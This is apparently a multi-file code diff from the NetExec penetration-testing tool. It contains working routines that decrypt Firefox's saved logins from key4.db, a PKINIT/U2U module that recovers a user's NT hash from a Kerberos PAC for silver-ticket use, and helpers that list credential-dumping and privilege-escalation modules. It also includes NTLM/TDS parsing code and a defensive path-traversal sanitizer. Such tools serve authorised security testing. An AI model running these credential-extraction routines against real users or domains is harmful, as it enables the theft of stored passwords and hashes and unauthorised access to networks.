return keys[0] if keys else None
def get_all_keys(self, key4_data, master_password=b""):
"""Retrieve all available master keys from NSS database (Firefox 144+ may have multiple)"""
# Instead of disabling "delete" and removing the file manually,
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
# Related issue: #134
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(key4_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
try:
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = next(cursor)
if not row:
return []
global_salt, master_password, _ = self.is_master_password_correct(key_data=row, master_password=master_password)
if not global_salt:
return []
# Get ALL keys from nssPrivate table (Firefox 144+ may have multiple)
keys = []
cursor.execute("SELECT a11,a102 FROM nssPrivate WHERE a11 IS NOT NULL;")
for row in cursor:
try:
a11 = row[0]
a102 = row[1] # ruff: ignore[unused-variable]
decoded_a11 = decoder.decode(a11)
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
if key is not None and len(key) >= 24:
keys.append(key)
except Exception:
continue
return keys
except Exception as e:
self.logger.debug(f"Error extracting keys: {e}")
return []
finally:
db.close()
fh.close()
try:
remove(fh.name)
except Exception as e:
self.logger.error(f"Error removing temporary file: {e}")
def is_master_password_correct(self, key_data, master_password=b""):
try:
entry_salt = b""
global_salt = key_data[0] # Item1
item2 = key_data[1]
decoded_item2 = decoder.decode(item2)
cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)
if cleartext_data != b"password-check\x02\x02":
return "", "", ""
return global_salt, master_password, entry_salt
except Exception as e:
self.logger.debug(e)
return "", "", ""
@staticmethod
def decode_login_data(data):
asn1data = decoder.decode(b64decode(data))
return (
asn1data[0][0].asOctets(),
asn1data[0][1][1].asOctets(),
asn1data[0][2].asOctets(),
)
@staticmethod
def decrypt(key, iv, ciphertext):
"""
Decrypt ciphered data (user / password) using the key previously found.
Supports both old format (3DES-CBC) and new Firefox 144+ format (AES-256-CBC).
"""
# Determine encryption method based on IV length
iv_length = len(iv)
# Firefox 144+ uses AES-256-CBC with 16-byte IV
if iv_length == CBC_IV_LENGTH:
return FirefoxTriage.decrypt_aes256_cbc(key, iv, ciphertext)
# Older Firefox uses 3DES-CBC with 8-byte IV
else:
return FirefoxTriage.decrypt_3des_cbc(key, iv, ciphertext)
@staticmethod
def decrypt_aes256_cbc(key, iv, ciphertext):
"""Decrypt using AES-256-CBC (Firefox 144+)"""
# Expand key to 32 bytes using SHA-256 if needed
aes_key = key[:32] if len(key) >= 32 else sha256(key).digest()
cipher = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
# Remove PKCS7 padding
if len(data) > 0:
padding_length = data[-1]
if isinstance(padding_length, str):
padding_length = ord(padding_length)
try:
if padding_length > 0 and padding_length <= 16:
return data[:-padding_length]
except Exception:
pass
return data
@staticmethod
def decrypt_3des_cbc(key, iv, ciphertext):
"""Decrypt using 3DES-CBC (legacy Firefox)"""
# 3DES requires exactly 24-byte keys - truncate if longer
cipher = DES3.new(key=key[:24], mode=DES3.MODE_CBC, iv=iv)
data = cipher.decrypt(ciphertext)
nb = data[-1]
if isinstance(nb, str):
nb = ord(nb)
try:
return data[:-nb]
except Exception:
return data
@staticmethod
def decrypt_3des(decoded_item, master_password, global_salt):
"""User master key is also encrypted (if provided, the master_password could be used to encrypt it)"""
# See http://www.drh-consultancy.demon.co.uk/key3.html
pbeAlgo = str(decoded_item[0][0][0])
if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC
entry_salt = decoded_item[0][0][1][0].asOctets()
cipher_t = decoded_item[0][1].asOctets()
# See http://www.drh-consultancy.demon.co.uk/key3.html
hp = sha1(global_salt + master_password).digest()
pes = entry_salt + b"\x00" * (20 - len(entry_salt))
chp = sha1(hp + entry_salt).digest()
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
k = k1 + k2
iv = k[-8:]
key = k[:24]
cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
return cipher.decrypt(cipher_t)
elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2
assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12"
assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9"
assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42"
# https://tools.ietf.org/html/rfc8018#page-23
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
iteration_count = int(decoded_item[0][0][1][0][1][1])
key_length = int(decoded_item[0][0][1][0][1][2])
assert key_length == 32
k = sha1(global_salt + master_password).digest()
key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length)
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets()
# 04 is OCTETSTRING, 0x0e is length == 14
encrypted_value = decoded_item[0][1].asOctets()
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.decrypt(encrypted_value)
+2 -1
View File
@@ -1,9 +1,10 @@
import os
from termcolor import colored
from nxc.paths import NXC_PATH
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
logs_dir = os.path.join(NXC_PATH, "logs")
with open(os.path.join(logs_dir, log_name), "w") as log_output:
log_output.write(data)
+179 -2
View File
@@ -1,8 +1,13 @@
from enum import Enum
import random
import string
import re
import inspect
import os
from termcolor import colored
from ipaddress import ip_address
from nxc.logger import nxc_logger
from time import strftime, gmtime
def identify_target_file(target_file):
@@ -22,7 +27,7 @@ def gen_random_string(length=10):
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
@@ -40,7 +45,7 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
@@ -77,3 +82,175 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
def get_bloodhound_info():
"""
Detect which BloodHound package is installed (regular or CE) and its version.
Returns
-------
tuple: (package_name, version, is_ce)
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
- version: Version string of the installed package (or None if not installed)
- is_ce: Boolean indicating if it's the Community Edition
"""
import importlib.metadata
import importlib.util
# First check if any BloodHound package is available to import
if importlib.util.find_spec("bloodhound") is None:
return None, None, False
# Try to get version info from both possible packages
version = None
package_name = None
is_ce = False
# Check for bloodhound-ce first
try:
version = importlib.metadata.version("bloodhound-ce")
package_name = "bloodhound-ce"
is_ce = True
except importlib.metadata.PackageNotFoundError:
# Check for regular bloodhound
try:
version = importlib.metadata.version("bloodhound")
package_name = "bloodhound"
# Even when installed as 'bloodhound', check if it's actually the CE version
if version and ("ce" in version.lower() or "community" in version.lower()):
is_ce = True
except importlib.metadata.PackageNotFoundError:
# No bloodhound package found via metadata
pass
# In case we can import it but metadata is not working, check the module itself
if not version:
try:
import bloodhound
version = getattr(bloodhound, "__version__", "unknown")
package_name = "bloodhound"
# Check if it's CE based on version string
if "ce" in version.lower() or "community" in version.lower():
is_ce = True
package_name = "bloodhound-ce"
except ImportError:
pass
return package_name, version, is_ce
def detect_if_ip(target):
try:
ip_address(target)
return True
except Exception:
return False
def d2b(a):
"""
Function used to convert password property flags from decimal to binary
format for easier interpretation of individual flag bits.
"""
tbin = []
while a:
tbin.append(a % 2)
a //= 2
t2bin = tbin[::-1]
if len(t2bin) != 8:
for _x in range(6 - len(t2bin)):
t2bin.insert(0, 0)
return "".join([str(g) for g in t2bin])
def convert(low, high, lockout=False):
"""
Convert Windows FILETIME (64-bit) values to human-readable time strings.
Windows stores time intervals as 64-bit values representing 100-nanosecond
intervals since January 1, 1601. This function converts these values to
readable format like "30 days 5 hours 15 minutes".
Args:
low (int): Low 32 bits of the FILETIME value
high (int): High 32 bits of the FILETIME value
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
Returns:
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
special values like "Not Set", "None", or "[-] Invalid TIME"
"""
time = ""
tmp = 0
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
return "Not Set"
if low == 0 and high == 0:
return "None"
if not lockout:
if low != 0:
high = abs(high + 1)
else:
high = abs(high)
low = abs(low)
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
try:
minutes = int(strftime("%M", gmtime(tmp)))
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp))) - 1
except ValueError:
return "[-] Invalid TIME"
if days > 1:
time += f"{days} days "
elif days == 1:
time += f"{days} day "
if hours > 1:
time += f"{hours} hours "
elif hours == 1:
time += f"{hours} hour "
if minutes > 1:
time += f"{minutes} minutes "
elif minutes == 1:
time += f"{minutes} minute "
return time
def parse_argument(argument: list) -> list:
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
parsed_items = []
for item in argument:
if os.path.isfile(item):
with open(item) as f:
parsed_items.extend(line.strip() for line in f if line.strip())
else:
parsed_items.append(item.strip())
return parsed_items
def display_modules(args, modules):
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
# Add category filter for module listing
if args.list_modules and args.list_modules.lower() != category.name.lower():
continue
if len([module for module in modules.values() if module["category"] == category]) > 0:
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
for name, props in sorted(modules.items()):
if props["category"] == category:
nxc_logger.display(f"{name:<25} {props['description']}")
class CATEGORY(Enum):
ENUMERATION = "Enumeration"
CREDENTIAL_DUMPING = "Credential Dumping"
PRIVILEGE_ESCALATION = "Privilege Escalation"
+92
View File
@@ -0,0 +1,92 @@
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
def decode_tds_info_error_msgtext(data, offset):
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
TokenType BYTE 0xAA | 0xAB
Length USHORT LE byte count of the remaining fields
Number LONG LE error / info number
State BYTE
Class BYTE severity
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
... (ServerName, ProcName, LineNumber follow but are unused here)
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
Class(1) + MsgText length prefix(2, may be zero-length string).
References (Microsoft Learn, MS-TDS):
INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
"""
remaining = len(data) - offset
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
return None
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
if payload_len < 8 or remaining < 3 + payload_len:
return None
try:
token = TDS_INFO_ERROR(data[offset:])
text = token["MsgText"].decode("utf-16le").strip()
except Exception:
return None
return text or None
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
When a server does not support Integrated Windows Authentication it replies
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
(0xAB) token in either the full packet or the payload after the 3-byte
LOGIN7 response header and returns its MsgText.
"""
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
for buf in filter(None, (packet_data, data_after_login_header)):
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
msg = decode_tds_info_error_msgtext(buf, offset)
if msg:
return msg
return None
-34
View File
@@ -1,34 +0,0 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
+13
View File
@@ -0,0 +1,13 @@
from pathlib import PurePosixPath
def sanitize_filename(name: str) -> str:
"""Strip path traversal components from an SMB filename.
Follows the pattern from spider_plus.py — filters '..' and '.' from
PurePosixPath.parts to prevent directory traversal attacks from
malicious SMB servers.
"""
parts = PurePosixPath(name.replace("\\", "/")).parts
clean = [p for p in parts if p not in ("..", ".", "/")]
return str(PurePosixPath(*clean)) if clean else ""
+570
View File
@@ -0,0 +1,570 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import os
import secrets
import hashlib
import datetime
import random
import base64
from binascii import unhexlify, hexlify
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from asn1crypto import x509
from minikerberos.protocol.dirtydh import DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
def _load_asn1_certificate(data):
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
The certificate is parsed by cryptography and re-encoded, so that malformed input is
rejected here instead of failing later inside asn1crypto, which parses lazily
"""
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
return _to_asn1_certificate(cert)
def _to_asn1_certificate(cert):
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
def _check_rsa_privkey(privkey):
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
if not isinstance(privkey, rsa.RSAPrivateKey):
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
return privkey
class myPKINIT:
"""
Copy of minikerberos PKINIT
With some changes where it differs from PKINIT used in NegoEx
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
which fails at import time on any OpenSSL whose version has a two digit component
"""
def __init__(self):
self.privkey = None
self.certificate = None
self.issuer = None
self.cname = None
self.diffie = None
@staticmethod
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
with open(pfxfile, "rb") as f:
pfxdata = f.read()
if b64:
pfxdata = base64.b64decode(pfxdata)
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
@staticmethod
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
pkinit = myPKINIT()
if isinstance(pfxpass, str):
pfxpass = pfxpass.encode()
# cryptography requires None (not an empty password) for a pfx without password
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
# a pfx holding only a certificate parses fine, so check the key before the certificate
if privkey is None:
raise Exception("No private key found in the PFX file")
if cert is None:
raise Exception("No certificate found in the PFX file")
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.certificate = _to_asn1_certificate(cert)
pkinit.setup(dh_params=dh_params)
return pkinit
@staticmethod
def from_pem(certfile, privkeyfile, dh_params=None):
pkinit = myPKINIT()
with open(certfile, "rb") as f:
pkinit.certificate = _load_asn1_certificate(f.read())
with open(privkeyfile, "rb") as f:
keydata = f.read()
try:
try:
privkey = serialization.load_pem_private_key(keydata, password=None)
except ValueError:
privkey = serialization.load_der_private_key(keydata, password=None)
except TypeError as e:
# raised by both loaders when the key is encrypted and no password was given
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
pkinit.privkey = _check_rsa_privkey(privkey)
pkinit.setup(dh_params=dh_params)
return pkinit
def sign_authpack(self, data, wrap_signed=False):
return self.sign_authpack_native(data, wrap_signed)
def setup(self, dh_params=None):
self.issuer = self.certificate.issuer.native["common_name"]
if dh_params is None:
nxc_logger.display("Generating DH params...")
nxc_logger.display("DH params generated.")
else:
if isinstance(dh_params, dict):
self.diffie = DirtyDH.from_dict(dh_params)
elif isinstance(dh_params, bytes):
self.diffie = DirtyDH.from_asn1(dh_params)
elif isinstance(dh_params, DirtyDH):
self.diffie = dh_params
else:
raise Exception("DH params must be either a bytearray or a dict")
def build_asreq(self, domain=None, cname=None, kdcopts=None):
if kdcopts is None:
kdcopts = ["forwardable", "renewable", "renewable-ok"]
if isinstance(kdcopts, list):
kdcopts = set(kdcopts)
if cname is not None:
if isinstance(cname, str):
cname = [cname]
else:
cname = [self.cname]
now = datetime.datetime.now(datetime.timezone.utc)
kdc_req_body_data = {}
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
kdc_req_body_data["realm"] = domain.upper()
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
kdc_req_body_data["nonce"] = secrets.randbits(31)
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
authenticator = {}
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = now.replace(microsecond=0)
authenticator["nonce"] = secrets.randbits(31)
authenticator["paChecksum"] = checksum
dp = {}
dp["p"] = self.diffie.p
dp["g"] = self.diffie.g
dp["q"] = 0 # mandatory parameter, but it is not needed
pka = {}
pka["algorithm"] = "1.2.840.10046.2.1"
pka["parameters"] = keys.DomainParameters(dp)
spki = {}
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
spki["public_key"] = self.diffie.get_public_key()
authpack = {}
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
authpack["clientDHNonce"] = self.diffie.dh_nonce
authpack = AuthPack(authpack)
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
payload = PA_PK_AS_REQ()
payload["signedAuthPack"] = signed_authpack
pa_data_1 = {}
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
pa_data_1["padata-value"] = payload.dump()
pa_data_0 = {}
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
asreq = {}
asreq["pvno"] = 5
asreq["msg-type"] = 10
asreq["padata"] = [pa_data_0, pa_data_1]
asreq["req-body"] = kdc_req_body
return AS_REQ(asreq).dump()
def sign_authpack_native(self, data, wrap_signed=False):
"""
Creating PKCS7 blob which contains the following things:
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
2. the certificate used to sign the data blob
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
"""
da = {}
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
si = {}
si["version"] = "v1"
si["sid"] = cms.IssuerAndSerialNumber({
"issuer": self.certificate.issuer,
"serial_number": self.certificate.serial_number,
})
si["digest_algorithm"] = algos.DigestAlgorithm(da)
si["signed_attrs"] = [
cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
]
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
ec = {}
ec["content_type"] = "1.3.6.1.5.2.3.1"
ec["content"] = data
sd = {}
sd["version"] = "v3"
sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one
sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
sd["certificates"] = [self.certificate]
sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
if wrap_signed is True:
ci = {}
ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID
ci["content"] = cms.SignedData(sd)
return cms.ContentInfo(ci).dump()
return cms.SignedData(sd).dump()
def decrypt_asrep(self, as_rep):
def truncate_key(value, keysize):
output = b""
currentNum = 0
while len(output) < keysize:
currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
if len(output) + len(currentDigest) > keysize:
output += currentDigest[:keysize - len(output)]
break
output += currentDigest
currentNum += 1
return output
for pa in as_rep["padata"]:
if pa["padata-type"] == 17:
pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
break
else:
raise Exception("PA_PK_AS_REP not found!")
ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
sd = ci["content"]
keyinfo = sd["encap_content_info"]
if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
raise Exception("Keyinfo content type unexpected value")
authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
shared_key = self.diffie.exchange(pubkey)
server_nonce = pkasrep["serverDHNonce"]
fullKey = shared_key + self.diffie.dh_nonce + server_nonce
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == Enctype.AES256:
t_key = truncate_key(fullKey, 32)
elif etype == Enctype.AES128:
t_key = truncate_key(fullKey, 16)
elif etype == Enctype.RC4:
raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
class GETPAC:
def printPac(self, data, key=None):
nthash = None
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
0]
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
buff = pacType["Buffers"]
found = False
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
self.__username = username
self.__domain = domain.upper()
self.__kdcHost = kdcHost
self.__asrep_key = key
self.__tgt = tgt["KDC_REP"]
self.__cipher = tgt["cipher"]
self.__sessionKey = tgt["sessionKey"]
def dump(self):
# Try all requested protocols until one works.
tgt = self.__tgt
cipher = self.__cipher
sessionKey = self.__sessionKey
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
